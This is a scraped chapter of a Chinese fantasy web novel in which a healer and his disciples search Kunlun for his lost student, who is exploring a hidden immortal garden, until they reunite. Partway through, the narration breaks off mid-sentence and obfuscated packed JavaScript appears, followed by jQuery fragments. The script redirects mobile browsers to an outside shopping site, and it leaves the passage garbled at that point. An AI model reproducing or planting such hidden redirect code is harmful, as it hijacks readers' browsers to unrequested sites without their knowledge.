文趣网 > 其他小说 > 魔尊的遗孀 > 16.找到岁岁了!
    威临九州八极数百年的幽都帝君终于死了!

    这消息乃是天衍宗宗主出关亲口所说,作不得假。

    连魔修们都退回了魔界,不周山门紧闭,想必是失去了幽都帝君,再不敢作乱了!

    九州修士们额手称庆,连脚步都松快了起来。

    此战之后,再没有九州八极第一强者,十大宗门无数大能陨落,九州格局或将重新洗牌。

    二流宗门跃跃欲试,人人皆以强者自居,叫嚣着:

    “打穿不周山,踏平幽都!杀尽天下魔修!”

    “诛杀五族护法,杀进谢渊老巢,共分九州珍宝!”

    一时间又集结了一帮人手,往西北极而去。

    个个志得意满、意气风发,自以为没有谢渊的幽都就是不堪一击,任人宰割,试图趁此机会分一杯羹,跻身九州一流宗门。

    林牧杰约束不住,只好向温怀仁告罪。

    温怀仁摇头叹息,道:“一群乌合之众,由他们去吧。”

    “况且谢渊这三年的闭关之所,必然不在幽都,否则我等早就杀了进去,还待今日么?”

    ……

    葛衡带着弟子们降落在西州昆仑墟山脚下。

    昆仑墟乃万山之祖,连绵千里,几乎横贯整个西州,座座山峰山高万仞,积雪终年不化。其上有昆仑宫和阆风巅两大圣地。

    阆风巅自古以来便超然世外,不问九州纷争,但昆仑宫却并非如此。

    在数百年前,昆仑宫才是九州真正的正道魁首,天衍宗根本不值与其相提并论。

    但后来昆仑宫宫主西出西极阊阖天门,数百年未归,昆仑宫便自此一蹶不振,隐于世外了。

    “为什么是向西呢……”

    葛衡行走在雪地里,一边感知着云朝岁的气息,一边反复回想着三年前那一夜的细节。

    那一晚,他的仙鹤照阆风巅的少微君所言,一路向西飞,最后在力竭之时落在了西州昆仑墟,将岁岁放在一座雪山上。

    当时他本以为,是少微君动了恻隐之心,要出手相助,将岁岁带回阆风巅。

    但是最后为什么,岁岁又落到了谢渊那个魔头手里!

    “谢渊和昆仑墟,会有什么关系?岁岁又会被他带到哪里?”

    可时间已经过去了三年,即使故地重游,这里也只有白茫茫一片雪,又能找到什么蛛丝马迹?

    葛衡丝毫感知不到云朝岁的气息,昆仑墟一条山脉便如一州广阔,凭借他们几个修为平平的外门医修,又将如何搜寻?

    但葛衡仍旧没有放弃,他有的,只是对弟子的一腔担忧。

    走遍雪山、走遍九州八极又如何?

    岁岁已经为九州献身了,功德无量,不该是如此结局。

    葛衡气喘吁吁,眺望这千山万壑:“昆仑墟这条山脉上,阆风巅在北,昆仑宫在东……我们应该先去哪个圣地拜见?”

    “也不知这些隐世的仙君愿不愿意指点迷津。”

    最小的师弟南淮却忽然说:“老师,不是北,不是东,是西啊。”

    葛衡愣了愣,他从未告诉过弟子们少微君所言,他追问道:“阿淮,为什么是西?再往西只有雪山,什么都没有。”

    南淮一脸天真地说:“我们入门就要背九州八极的地理志,昆仑墟这一节背过的。”

    说着,他还认认真真地背了出来:“故曰昆仑山有三角。其一角正北,干辰星之辉,名曰阆风巅;其一角正西,名曰玄圃台;其一角正东,名曰昆仑宫。①”

    “西边的玄圃,就是天帝下界仙苑,西王母的药圃啊。”

    师兄孟无思一听,笑着提醒道:“阿淮你错了,实际上昆仑墟只有昆仑宫和阆风巅两脉,玄圃只存在于神话传说之中,昆仑墟上并没有这个地方。”

    师兄于砺锋也道:“是啊阿淮,上课时夫子还特意讲过,古籍中昆仑墟的三大圣地,其实只有两个。”

    “你想想,如果仙人药圃真的存在,那还得了?我们谷主得先高兴疯咯,说不定连夜把宗门迁到玄圃。第二天你醒过来一看,懵了!诶?我这么大个宗门哪儿去了?”

    “又说这种大逆不道的话。”孟无思给了于砺锋一个肘击,让他闭嘴。

    “是这样吗?”南淮挠挠头,“那这样的话,书上为什么要写呢?删掉不好吗?”

    听着几个弟子聊天,葛衡却怔住了,有没有一种可能,传说中的玄圃,确实是真实存在的?

    当年岁岁生机枯竭,若真的能存活至今,那他要生活在什么地方,才能好好的活下去?

    少微君所说的西,难道不仅仅是九州的西边,还是昆仑墟的西边吗?

    葛衡激动不已,只要有一丝微茫的可能性,他也愿意寻找:“走!我们继续往西边找!”

    ……

    云朝岁决定先带着狗徒步远行探索,待找到出口后,再回家带上猫和鱼出发。

    他爬上屋后山坡,给谢无尘墓前的雪地里开了几丛漂亮的花,最后眷恋地摸摸墓碑,道:“我要去找出去的路了,你就在这里乖乖躺着吧。”

    狗欲言又止,最后只好汪汪叫了两声。

    云朝岁执着竹杖往东行去。

    当初意识模糊之际,他隐隐约约记得,有什么载着他往西飞了。

    他朦胧中看到,视野前方明亮的满月自西边天际落下,身后晨光熹微,就要天亮。

    现在要返回,那就是往东,虽然这秘境往东走也不一定能出去,但他决定先选这个方向试试看。

    云朝岁一路跋山涉水,整整走了一天也不见疲惫,走到傍晚之时,他便开始见到过去未曾涉足的风景了。

    虽然空中依旧在下雪,但一路上,琼花瑶草不计其数,灵泉湖泊仙气缭绕,飞舞的灵蝶、振翅的鸾鸟、蹦蹦跳跳的彩色鹿蜀……

    云朝岁在湖边坐下来小憩,夕阳照着湖面,闪着的粼粼波光,溪流融化积雪,从山间注入湖中,其间珠鳖游动,口吐珠玉,在水中发出叮叮咚咚的清脆玉鸣。

    “好美啊……”云朝岁又忍不住在识海里戳戳药典,“夫君,要是你能和我一起看就好了。”

    药典已经被戳了无数次了,十分心累道:“岁儿,你叫你夫君就叫你夫君,不要戳我好不好。”

    不过

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17644084|206221||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    它看到这些未知的风景,也忍不住感叹道:“确实好美……”

    可想了想,又觉得不对,“岁儿,你觉不觉得,这里灵药之丰富、灵兽之众多,实在是太过夸张了?”

    云朝岁点点头,不过他也没去过其他的秘境,不知正常的秘境应是什么样的。

    他只好问道:“药师父,上古时代没有这样的地方吗?”

    药典却带了几分沉思道:“没有。就算上古灵气充沛、万物有灵,也没有像这样的地方。”

    “鹿蜀、珠鳖、瑶草……这里,倒像是……”药典仍旧十分不解,“不对,世间真的会有这个地方存在吗?”

    云朝岁疑惑:“倒像是什么?”

    “像是传说中的仙帝下都、西王母药圃。”药典感叹,“但即使是在上古,这也只是传说而已啊……”

    ……

    “老师,我们已经到达昆仑墟的最西端了,再往前走,就是下山的路了。”

    “老师,太阳就快下山了,我们要不要先找个地方休息?”

    葛衡站在山巅远眺,落日熔金,西沉的日光给雪山镀上一层金辉。

    “西出昆仑过阊阖天门,就是西极,如果玄圃真的存在,不会超出这个地方。”

    “我要守在这里看看。”

    ……

    药典道:“如果这里真是玄圃,那就是另一个层次的空间了。”

    “出口,恐怕并不是我们想象的那样,我们要怎么出去,是个大问题。”

    云朝岁皱起了眉头:“不是我们想象的那样……”如果不能尽快找到出口,那夫君的魂魄怎么办?

    他猜测着各种可能性:“会不会是哪里的石壁,有着联通两个空间的通道?”

    “还是虚空突然裂开一道口子?或是穿过一道屏障?”

    “还是哪里有什么传送阵法?触之生效?”

    药典不是很赞同:“你这都是以凡人的思维揣测仙境,哪里会有这么简单……”

    与此同时,于砺锋在雪山上东摸摸、西看看,“这里会不会有另一个空间呢?”

    摸到一处石壁的时候,他却忽然间摸了个空,一下子就跌了进去,只来得及惊叫一声:“老孟!”

    孟无思没想到一转头人就不见了,循着声音追过去,却像是穿过了什么屏障,跟着一起消失了。

    葛衡正惊疑不定,准备谨慎行事,虚空却突然裂开了一道口子,将他吸了进去。

    南淮一脸莫名:“你们怎么都传送走了?怎么没把我传走呢!”

    于是他的脚下亮起一个法阵,咻地一下把他传走了。

    云朝岁正要反驳药典,却见湖对面上空忽然哗啦啦地掉了几个人下来。

    云朝岁:“?”

    药典:“难不成通道就在那里?”它又要开始怀疑九州八极了……

    “这些人是……”

    远远地看着那几道熟悉的人影,云朝岁的心忽然间狂跳起来。

    三年未见,但即使相隔甚远,他还是一下子就把他们认了出来。

    他飞快地向他们跑去,隔着湖泊呼唤道:“老师!”